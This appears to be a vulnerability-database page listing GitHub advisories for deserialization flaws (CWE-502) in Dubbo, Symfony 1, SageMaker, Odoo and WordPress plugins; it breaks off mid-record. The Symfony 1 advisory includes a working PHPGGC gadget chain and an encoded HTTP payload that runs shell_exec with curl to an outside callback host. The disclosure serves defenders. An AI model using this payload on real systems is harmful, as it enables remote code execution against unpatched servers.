CWE-502
AllowedDeserialization of Untrusted Data
Abstraction: Base · Status: Draft
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
4794 vulnerabilities reference this CWE, most recent first.
GHSA-WHWW-V56C-CGV2
Vulnerability from github – Published: 2022-02-10 22:39 – Updated: 2021-05-10 21:50This vulnerability can affect all Dubbo users stay on version 2.7.6 or lower. An attacker can send RPC requests with unrecognized service name or method name along with some malicious parameter payloads. When the malicious parameter is deserialized, it will execute some malicious code. More details can be found below.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.dubbo:dubbo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.dubbo:dubbo-common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-1948"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-10T21:50:14Z",
"nvd_published_at": "2020-07-14T14:15:00Z",
"severity": "CRITICAL"
},
"details": "This vulnerability can affect all Dubbo users stay on version 2.7.6 or lower. An attacker can send RPC requests with unrecognized service name or method name along with some malicious parameter payloads. When the malicious parameter is deserialized, it will execute some malicious code. More details can be found below.",
"id": "GHSA-whww-v56c-cgv2",
"modified": "2021-05-10T21:50:14Z",
"published": "2022-02-10T22:39:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1948"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rbaa41711b3e7a8cd20e9013737423ddd079ddc12f90180f86e76523c%40%3Csecurity.dubbo.apache.org%3E"
},
{
"type": "WEB",
"url": "https://nsfocusglobal.com/apache-dubbo-remote-code-execution-vulnerability-cve-2020-1948-threat-alert"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Deserialization of Untrusted Data in Apache Dubbo"
}
GHSA-WJH3-6952-CJVW
Vulnerability from github – Published: 2022-05-24 00:00 – Updated: 2022-06-08 00:00The affected Cognex product, the In-Sight OPC Server versions v5.7.4 (96) and prior, deserializes untrusted data, which could allow a remote attacker access to system level permission commands and local privilege escalation.
{
"affected": [],
"aliases": [
"CVE-2021-32935"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-23T19:16:00Z",
"severity": "CRITICAL"
},
"details": "The affected Cognex product, the In-Sight OPC Server versions v5.7.4 (96) and prior, deserializes untrusted data, which could allow a remote attacker access to system level permission commands and local privilege escalation.",
"id": "GHSA-wjh3-6952-cjvw",
"modified": "2022-06-08T00:00:58Z",
"published": "2022-05-24T00:00:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32935"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-21-224-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WJQP-GQV9-X8VX
Vulnerability from github – Published: 2026-03-25 18:31 – Updated: 2026-03-26 18:31Deserialization of Untrusted Data vulnerability in AncoraThemes Morning Records morning-records allows Object Injection.This issue affects Morning Records: from n/a through <= 1.2.
{
"affected": [],
"aliases": [
"CVE-2026-22505"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-25T17:16:32Z",
"severity": "HIGH"
},
"details": "Deserialization of Untrusted Data vulnerability in AncoraThemes Morning Records morning-records allows Object Injection.This issue affects Morning Records: from n/a through \u003c= 1.2.",
"id": "GHSA-wjqp-gqv9-x8vx",
"modified": "2026-03-26T18:31:31Z",
"published": "2026-03-25T18:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22505"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Theme/morning-records/vulnerability/wordpress-morning-records-theme-1-2-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WJR9-HJ62-43J7
Vulnerability from github – Published: 2025-02-15 12:30 – Updated: 2025-02-15 12:30The s2Member Pro plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 241216 via deserialization of untrusted input from the 's2member_pro_remote_op' vulnerable parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.
{
"affected": [],
"aliases": [
"CVE-2024-12562"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-15T10:15:08Z",
"severity": "CRITICAL"
},
"details": "The s2Member Pro plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 241216 via deserialization of untrusted input from the \u0027s2member_pro_remote_op\u0027 vulnerable parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.",
"id": "GHSA-wjr9-hj62-43j7",
"modified": "2025-02-15T12:30:50Z",
"published": "2025-02-15T12:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12562"
},
{
"type": "WEB",
"url": "https://s2member.com/changelog"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/65192fdb-86db-475a-8c61-4db922920cfe?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WJV8-PXR6-5F4R
Vulnerability from github – Published: 2024-03-18 20:36 – Updated: 2025-05-15 21:21Summary
Symfony 1 has a gadget chain due to vulnerable Swift Mailer dependency that would enable an attacker to get remote code execution if a developer unserialize user input in his project.
Details
This vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example:
public function executeIndex(sfWebRequest $request)
{
$a = unserialize($request->getParameter('user'));
}
We will make the assumption this is the case in the rest of this explanation.
Symfony 1 depends on Swift Mailer which is bundled by default in vendor directory in the default installation since 1.3.0. Swift Mailer classes implement some __destruct() methods like for instance Swift_KeyCache_DiskKeyCache :
public function __destruct()
{
foreach ($this->_keys as $nsKey=>$null)
{
$this->clearAll($nsKey);
}
}
This method is called when php destroy the object in memory. However, it is possible to include any object type in $this->_keys to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on foreach($this->_keys ...) for any class implementing ArrayAccess interface. sfOutputEscaperArrayDecorator implements such interface. Here is the call made on offsetGet():
public function offsetGet($offset)
{
return sfOutputEscaper::escape($this->escapingMethod, $this->value[$offset]);
}
Which trigger escape() in sfOutputEscaper class with attacker controlled parameters from deserialized object with $this->escapingMethod and $this->value[$offset]:
public static function escape($escapingMethod, $value)
{
if (null === $value)
{
return $value;
}
// Scalars are anything other than arrays, objects and resources.
if (is_scalar($value))
{
return call_user_func($escapingMethod, $value);
}
Which calls call_user_func with previous attacker controlled input.
However, most recent versions of Swift Mailer are not vulnerable anymore. A fix has been done with commit 5878b18b36c2c119ef0e8cd49c3d73ee94ca0fed to prevent #arbitrary deserialization. This commit has been shipped with version 6.2.5 of Swift Mailer.
Concreetly, __wakeup() have been implemented to clear attributes' values:
public function __wakeup()
{
$this->keys = [];
}
And/or prevent any deserialization:
public function __wakeup()
{
throw new \BadMethodCallException('Cannot unserialize '.__CLASS__);
}
If you install last version 1.5 with composer, you will end-up installing last 6.x version of Swift Mailer containing the previous fixes. Here is an extract of the composer.lock:
{
"name": "friendsofsymfony1/symfony1",
"version": "v1.5.15",
"source": {
"type": "git",
"url": "https://github.com/FriendsOfSymfony1/symfony1.git",
"reference": "9945f3f27cdc5aac36f5e8c60485e5c9d5df86f2"
},
"require": {
"php": ">=5.3.0",
"swiftmailer/swiftmailer": "~5.2 || ^6.0"
},
...
{
"name": "swiftmailer/swiftmailer",
"version": "v6.3.0",
...
}
}
By reviewing releases archives, composer.json targets vulnerable branch 5.x before Symfony 1.5.13 included:
{
"name": "friendsofsymfony1/symfony1",
"description": "Fork of symfony 1.4 with dic, form enhancements, latest swiftmailer and better performance",
"type": "library",
"license": "MIT",
"require": {
"php" : ">=5.3.0",
"swiftmailer/swiftmailer": "~5.2"
},
...
So, the gadget chain is valid for at least versions until 1.5.13.
However, if you install last version of Symfony with git as described in the README, Swift Mailer vendors is referenced through a git sub-module targeting branch 5.x of Swift Mailer:
[submodule "lib/vendor/swiftmailer"]
path = lib/vendor/swiftmailer
url = https://github.com/swiftmailer/swiftmailer.git
branch = 5.x
[submodule "lib/plugins/sfDoctrinePlugin/lib/vendor/doctrine"]
path = lib/plugins/sfDoctrinePlugin/lib/vendor/doctrine
url = https://github.com/FriendsOfSymfony1/doctrine1.git
And branch 5.x does not have the backport of the fix committed on branch 6.x. Last commit date from Jul 31, 2018.
PoC
So we need the following object to trigger an OS command like shell_exec("curl https://h0iphk4mv3e55nt61wjp9kur9if930vok.oastify.com?a=$(id)");:
object(Swift_KeyCache_DiskKeyCache)#88 (4) {
["_stream":"Swift_KeyCache_DiskKeyCache":private]=>
NULL
["_path":"Swift_KeyCache_DiskKeyCache":private]=>
string(25) "thispathshouldneverexists"
["_keys":"Swift_KeyCache_DiskKeyCache":private]=>
object(sfOutputEscaperArrayDecorator)#89 (3) {
["count":"sfOutputEscaperArrayDecorator":private]=>
NULL
["value":protected]=>
array(1) {
[1]=>
string(66) "curl https://h0iphk4mv3e55nt61wjp9kur9if930vok.oastify.com?a=$(id)"
}
["escapingMethod":protected]=>
string(10) "shell_exec"
}
["_quotes":"Swift_KeyCache_DiskKeyCache":private]=>
bool(false)
}
We craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before: * gadgets.php:
class Swift_KeyCache_DiskKeyCache
{
private $_path;
private $_keys = array();
public function __construct($keys, $path) {
$this->_keys = $keys;
$this->_path = $path;
}
}
class sfOutputEscaperArrayDecorator
{
protected $value;
protected $escapingMethod;
public function __construct($escapingMethod, $value) {
$this->escapingMethod = $escapingMethod;
$this->value = $value;
}
}
- chain.php:
namespace GadgetChain\Symfony;
class RCE12 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '1.3.0 < 1.5.15';
public static $vector = '__destruct';
public static $author = 'darkpills';
public static $information =
'Based on Symfony 1 and Swift mailer in Symfony\'s vendor';
public function generate(array $parameters)
{
$cacheKey = "1";
$keys = new \sfOutputEscaperArrayDecorator($parameters['function'], array($cacheKey => $parameters['parameter']));
$path = "thispathshouldneverexists";
$cache = new \Swift_KeyCache_DiskKeyCache($keys, $path);
return $cache;
}
}
And trigger the deserialization with an HTTP request like the following on a dummy test controller:
POST /frontend_dev.php/test/index HTTP/1.1
Host: localhost:8001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532
user=a%3A2%3A%7Bi%3A7%3BO%3A27%3A%22Swift_KeyCache_DiskKeyCache%22%3A2%3A%7Bs%3A34%3A%22%00Swift_KeyCache_DiskKeyCache%00_path%22%3Bs%3A25%3A%22thispathshouldneverexists%22%3Bs%3A34%3A%22%00Swift_KeyCache_DiskKeyCache%00_keys%22%3BO%3A29%3A%22sfOutputEscaperArrayDecorator%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00value%22%3Ba%3A1%3A%7Bi%3A1%3Bs%3A66%3A%22curl+https%3A%2F%2Fh0iphk4mv3e55nt61wjp9kur9if930vok.oastify.com%3Fa%3D%24%28id%29%22%3B%7Ds%3A17%3A%22%00%2A%00escapingMethod%22%3Bs%3A10%3A%22shell_exec%22%3B%7D%7Di%3A7%3Bi%3A7%3B%7D
Note that CVSS score is not applicable to this kind of vulnerability.
Impact
The attacker can execute any PHP command which leads to remote code execution.
Recommendation
As with composer, Symfony is already using branch 6.x of Swift mailer there does not seem to be breaking change for Symfony 1 with branch 6.x? Or is it a mistake?
In this case, update submodule reference to version 6.2.5 or higher, after commit 5878b18b36c2c119ef0e8cd49c3d73ee94ca0fed
Or if Symfony 1.5 need Swift 5.x, fork Swift mailer in a FOS/SwiftMailer repository and cherry-pick commit 5878b18b36c2c119ef0e8cd49c3d73ee94ca0fed
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 1.5.13"
},
"package": {
"ecosystem": "Packagist",
"name": "friendsofsymfony1/symfony1"
},
"ranges": [
{
"events": [
{
"introduced": "1.3.0"
},
{
"fixed": "1.5.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "friendsofsymfony1/swiftmailer"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.4.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "friendsofsymfony1/swiftmailer"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "swiftmailer/swiftmailer"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "6.2.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-28859"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-18T20:36:06Z",
"nvd_published_at": "2024-03-15T23:15:08Z",
"severity": "MODERATE"
},
"details": "### Summary\nSymfony 1 has a gadget chain due to vulnerable Swift Mailer dependency that would enable an attacker to get remote code execution if a developer unserialize user input in his project.\n\n### Details\nThis vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example:\n```php\n public function executeIndex(sfWebRequest $request)\n {\n $a = unserialize($request-\u003egetParameter(\u0027user\u0027));\n }\n```\n\nWe will make the assumption this is the case in the rest of this explanation.\n\nSymfony 1 depends on Swift Mailer which is bundled by default in `vendor` directory in the default installation since 1.3.0. Swift Mailer classes implement some `__destruct()` methods like for instance `Swift_KeyCache_DiskKeyCache` :\n```php\n public function __destruct()\n {\n foreach ($this-\u003e_keys as $nsKey=\u003e$null)\n {\n $this-\u003eclearAll($nsKey);\n }\n }\n```\n\nThis method is called when php destroy the object in memory. However, it is possible to include any object type in `$this-\u003e_keys` to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on `foreach($this-\u003e_keys ...)` for any class implementing `ArrayAccess` interface. `sfOutputEscaperArrayDecorator` implements such interface. Here is the call made on `offsetGet()`:\n```php\n public function offsetGet($offset)\n {\n return sfOutputEscaper::escape($this-\u003eescapingMethod, $this-\u003evalue[$offset]);\n }\n```\nWhich trigger `escape()` in `sfOutputEscaper` class with attacker controlled parameters from deserialized object with `$this-\u003eescapingMethod` and `$this-\u003evalue[$offset]`:\n```php\n public static function escape($escapingMethod, $value)\n {\n if (null === $value)\n {\n return $value;\n }\n\n // Scalars are anything other than arrays, objects and resources.\n if (is_scalar($value))\n {\n return call_user_func($escapingMethod, $value);\n }\n```\nWhich calls `call_user_func` with previous attacker controlled input.\n\nHowever, most recent versions of Swift Mailer are not vulnerable anymore. A fix has been done with [commit 5878b18b36c2c119ef0e8cd49c3d73ee94ca0fed](https://github.com/swiftmailer/swiftmailer/commit/5878b18b36c2c119ef0e8cd49c3d73ee94ca0fed) to prevent #arbitrary deserialization. This commit has been shipped with version 6.2.5 of Swift Mailer.\n\nConcreetly, `__wakeup()` have been implemented to clear attributes\u0027 values:\n```php\n public function __wakeup()\n {\n $this-\u003ekeys = [];\n }\n```\n\nAnd/or prevent any deserialization:\n```php\n public function __wakeup()\n {\n throw new \\BadMethodCallException(\u0027Cannot unserialize \u0027.__CLASS__);\n }\n```\n\nIf you install last version 1.5 with composer, you will end-up installing last 6.x version of Swift Mailer containing the previous fixes. Here is an extract of the composer.lock:\n```json\n{\n \"name\": \"friendsofsymfony1/symfony1\",\n \"version\": \"v1.5.15\",\n \"source\": {\n \"type\": \"git\",\n \"url\": \"https://github.com/FriendsOfSymfony1/symfony1.git\",\n \"reference\": \"9945f3f27cdc5aac36f5e8c60485e5c9d5df86f2\"\n },\n \"require\": {\n \"php\": \"\u003e=5.3.0\",\n \"swiftmailer/swiftmailer\": \"~5.2 || ^6.0\"\n },\n ...\n {\n \"name\": \"swiftmailer/swiftmailer\",\n \"version\": \"v6.3.0\",\n ...\n }\n}\n```\n\nBy reviewing releases archives, `composer.json` targets vulnerable branch 5.x before Symfony 1.5.13 included:\n```json\n{\n \"name\": \"friendsofsymfony1/symfony1\",\n \"description\": \"Fork of symfony 1.4 with dic, form enhancements, latest swiftmailer and better performance\",\n \"type\": \"library\",\n \"license\": \"MIT\",\n \"require\": {\n \"php\" : \"\u003e=5.3.0\",\n \"swiftmailer/swiftmailer\": \"~5.2\"\n },\n ...\n```\n\nSo, the gadget chain is valid for at least versions until 1.5.13.\n\nHowever, if you install last version of Symfony with git as described in the README, Swift Mailer vendors is referenced through a git sub-module targeting branch 5.x of Swift Mailer:\n```shell\n[submodule \"lib/vendor/swiftmailer\"]\n path = lib/vendor/swiftmailer\n url = https://github.com/swiftmailer/swiftmailer.git\n branch = 5.x\n[submodule \"lib/plugins/sfDoctrinePlugin/lib/vendor/doctrine\"]\n path = lib/plugins/sfDoctrinePlugin/lib/vendor/doctrine\n url = https://github.com/FriendsOfSymfony1/doctrine1.git\n```\n\nAnd branch 5.x does not have the backport of the fix committed on branch 6.x. Last commit date from Jul 31, 2018.\n\n### PoC\n\nSo we need the following object to trigger an OS command like `shell_exec(\"curl https://h0iphk4mv3e55nt61wjp9kur9if930vok.oastify.com?a=$(id)\");`:\n\n```php\nobject(Swift_KeyCache_DiskKeyCache)#88 (4) {\n [\"_stream\":\"Swift_KeyCache_DiskKeyCache\":private]=\u003e\n NULL\n [\"_path\":\"Swift_KeyCache_DiskKeyCache\":private]=\u003e\n string(25) \"thispathshouldneverexists\"\n [\"_keys\":\"Swift_KeyCache_DiskKeyCache\":private]=\u003e\n object(sfOutputEscaperArrayDecorator)#89 (3) {\n [\"count\":\"sfOutputEscaperArrayDecorator\":private]=\u003e\n NULL\n [\"value\":protected]=\u003e\n array(1) {\n [1]=\u003e\n string(66) \"curl https://h0iphk4mv3e55nt61wjp9kur9if930vok.oastify.com?a=$(id)\"\n }\n [\"escapingMethod\":protected]=\u003e\n string(10) \"shell_exec\"\n }\n [\"_quotes\":\"Swift_KeyCache_DiskKeyCache\":private]=\u003e\n bool(false)\n}\n```\n\nWe craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before:\n* gadgets.php:\n```php\nclass Swift_KeyCache_DiskKeyCache\n{\n private $_path;\n private $_keys = array();\n public function __construct($keys, $path) {\n $this-\u003e_keys = $keys;\n $this-\u003e_path = $path;\n }\n}\n\nclass sfOutputEscaperArrayDecorator\n{\n protected $value;\n protected $escapingMethod;\n public function __construct($escapingMethod, $value) {\n $this-\u003eescapingMethod = $escapingMethod;\n $this-\u003evalue = $value;\n }\n}\n```\n\n* chain.php:\n```php\nnamespace GadgetChain\\Symfony;\n\nclass RCE12 extends \\PHPGGC\\GadgetChain\\RCE\\FunctionCall\n{\n public static $version = \u00271.3.0 \u003c 1.5.15\u0027;\n public static $vector = \u0027__destruct\u0027;\n public static $author = \u0027darkpills\u0027;\n public static $information = \n \u0027Based on Symfony 1 and Swift mailer in Symfony\\\u0027s vendor\u0027;\n\n public function generate(array $parameters)\n {\n $cacheKey = \"1\";\n $keys = new \\sfOutputEscaperArrayDecorator($parameters[\u0027function\u0027], array($cacheKey =\u003e $parameters[\u0027parameter\u0027]));\n $path = \"thispathshouldneverexists\";\n $cache = new \\Swift_KeyCache_DiskKeyCache($keys, $path);\n\n return $cache;\n }\n}\n```\n\nAnd trigger the deserialization with an HTTP request like the following on a dummy test controller:\n\n```http\nPOST /frontend_dev.php/test/index HTTP/1.1\nHost: localhost:8001\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 532\n\nuser=a%3A2%3A%7Bi%3A7%3BO%3A27%3A%22Swift_KeyCache_DiskKeyCache%22%3A2%3A%7Bs%3A34%3A%22%00Swift_KeyCache_DiskKeyCache%00_path%22%3Bs%3A25%3A%22thispathshouldneverexists%22%3Bs%3A34%3A%22%00Swift_KeyCache_DiskKeyCache%00_keys%22%3BO%3A29%3A%22sfOutputEscaperArrayDecorator%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00value%22%3Ba%3A1%3A%7Bi%3A1%3Bs%3A66%3A%22curl+https%3A%2F%2Fh0iphk4mv3e55nt61wjp9kur9if930vok.oastify.com%3Fa%3D%24%28id%29%22%3B%7Ds%3A17%3A%22%00%2A%00escapingMethod%22%3Bs%3A10%3A%22shell_exec%22%3B%7D%7Di%3A7%3Bi%3A7%3B%7D\n```\n\nNote that CVSS score is not applicable to this kind of vulnerability.\n\n### Impact\nThe attacker can execute any PHP command which leads to remote code execution.\n\n### Recommendation\nAs with composer, Symfony is already using branch 6.x of Swift mailer there does not seem to be breaking change for Symfony 1 with branch 6.x? Or is it a mistake?\n\nIn this case, update submodule reference to version 6.2.5 or higher, after commit 5878b18b36c2c119ef0e8cd49c3d73ee94ca0fed\n\nOr if Symfony 1.5 need Swift 5.x, fork Swift mailer in a FOS/SwiftMailer repository and cherry-pick commit 5878b18b36c2c119ef0e8cd49c3d73ee94ca0fed",
"id": "GHSA-wjv8-pxr6-5f4r",
"modified": "2025-05-15T21:21:04Z",
"published": "2024-03-18T20:36:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FriendsOfSymfony1/symfony1/security/advisories/GHSA-wjv8-pxr6-5f4r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28859"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfSymfony1/symfony1/commit/edb850f94fb4de18ca53d0d1824910d6e8130166"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/friendsofsymfony1/swiftmailer/CVE-2024-28859.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/friendsofsymfony1/symfony1/CVE-2024-28859.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/swiftmailer/swiftmailer/CVE-2024-28859.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/FriendsOfSymfony1/symfony1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Gadget chain in Symfony 1 due to vulnerable Swift Mailer dependency"
}
GHSA-WJVX-JHPJ-R54R
Vulnerability from github – Published: 2024-05-03 20:25 – Updated: 2024-05-03 20:25Impact
sagemaker.base_deserializers.NumpyDeserializer module before v2.218.0 allows potentially unsafe deserialization when untrusted data is passed as pickled object arrays. This consequently may allow an unprivileged third party to cause remote code execution, denial of service, affecting both confidentiality and integrity.
Impacted versions: <2.218.0.
Credit
We would like to thank HiddenLayer for collaborating on this issue through the coordinated vulnerability disclosure process.
Workarounds
Do not pass pickled numpy object arrays which originated from an untrusted source, or that could have been tampered with. Only pass pickled numpy object arrays from sources you trust.
References
If you have any questions or comments about this advisory we ask that you contact AWS/Amazon Security via our vulnerability reporting page [1] or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue. [1] Vulnerability reporting page: https://aws.amazon.com/security/vulnerability-reporting
Fixed by: https://github.com/aws/sagemaker-python-sdk/pull/4557
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "sagemaker"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.218.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-34072"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-03T20:25:33Z",
"nvd_published_at": "2024-05-03T11:15:22Z",
"severity": "HIGH"
},
"details": "### Impact\n\nsagemaker.base_deserializers.NumpyDeserializer module before v2.218.0 allows potentially unsafe deserialization when untrusted data is passed as pickled object arrays. This consequently may allow an unprivileged third party to cause remote code execution, denial of service, affecting both confidentiality and integrity.\n\nImpacted versions: \u003c2.218.0.\n\n### Credit \n\nWe would like to thank HiddenLayer for collaborating on this issue through the coordinated vulnerability disclosure process.\n\n\n### Workarounds\n\nDo not pass pickled numpy object arrays which originated from an untrusted source, or that could have been tampered with. Only pass pickled numpy object arrays from sources you trust.\n\n\n### References\n\nIf you have any questions or comments about this advisory we ask that you contact AWS/Amazon Security via our vulnerability reporting page [1] or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.\n[1] Vulnerability reporting page: https://aws.amazon.com/security/vulnerability-reporting\n\nFixed by: [https://github.com/aws/sagemaker-python-sdk/pull/4557](https://github.com/aws/sagemaker-python-sdk/pull/4557)",
"id": "GHSA-wjvx-jhpj-r54r",
"modified": "2024-05-03T20:25:33Z",
"published": "2024-05-03T20:25:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aws/sagemaker-python-sdk/security/advisories/GHSA-wjvx-jhpj-r54r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34072"
},
{
"type": "WEB",
"url": "https://github.com/aws/sagemaker-python-sdk/pull/4557"
},
{
"type": "WEB",
"url": "https://github.com/aws/sagemaker-python-sdk/commit/72e0c9712aec6fbb82fb40fda091dfc2a42c70a0"
},
{
"type": "PACKAGE",
"url": "https://github.com/aws/sagemaker-python-sdk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "sagemaker-python-sdk vulnerable to Deserialization of Untrusted Data"
}
GHSA-WM87-G64H-3474
Vulnerability from github – Published: 2024-03-28 06:30 – Updated: 2026-04-28 21:34Deserialization of Untrusted Data vulnerability in INFINITUM FORM Geo Controller.This issue affects Geo Controller: from n/a through 8.6.4.
{
"affected": [],
"aliases": [
"CVE-2024-30227"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-28T05:15:50Z",
"severity": "CRITICAL"
},
"details": "Deserialization of Untrusted Data vulnerability in INFINITUM FORM Geo Controller.This issue affects Geo Controller: from n/a through 8.6.4.",
"id": "GHSA-wm87-g64h-3474",
"modified": "2026-04-28T21:34:21Z",
"published": "2024-03-28T06:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30227"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/cf-geoplugin/wordpress-geo-controller-plugin-8-6-4-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WM9R-8VRH-FGPV
Vulnerability from github – Published: 2022-05-13 01:41 – Updated: 2022-05-13 01:41In Odoo 8.0, Odoo Community Edition 9.0 and 10.0, and Odoo Enterprise Edition 9.0 and 10.0, insecure handling of anonymization data in the Database Anonymization module allows remote authenticated privileged users to execute arbitrary Python code, because unpickle is used.
{
"affected": [],
"aliases": [
"CVE-2017-10803"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-04T18:29:00Z",
"severity": "HIGH"
},
"details": "In Odoo 8.0, Odoo Community Edition 9.0 and 10.0, and Odoo Enterprise Edition 9.0 and 10.0, insecure handling of anonymization data in the Database Anonymization module allows remote authenticated privileged users to execute arbitrary Python code, because unpickle is used.",
"id": "GHSA-wm9r-8vrh-fgpv",
"modified": "2022-05-13T01:41:57Z",
"published": "2022-05-13T01:41:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-10803"
},
{
"type": "WEB",
"url": "https://github.com/odoo/odoo/issues/17898"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H",
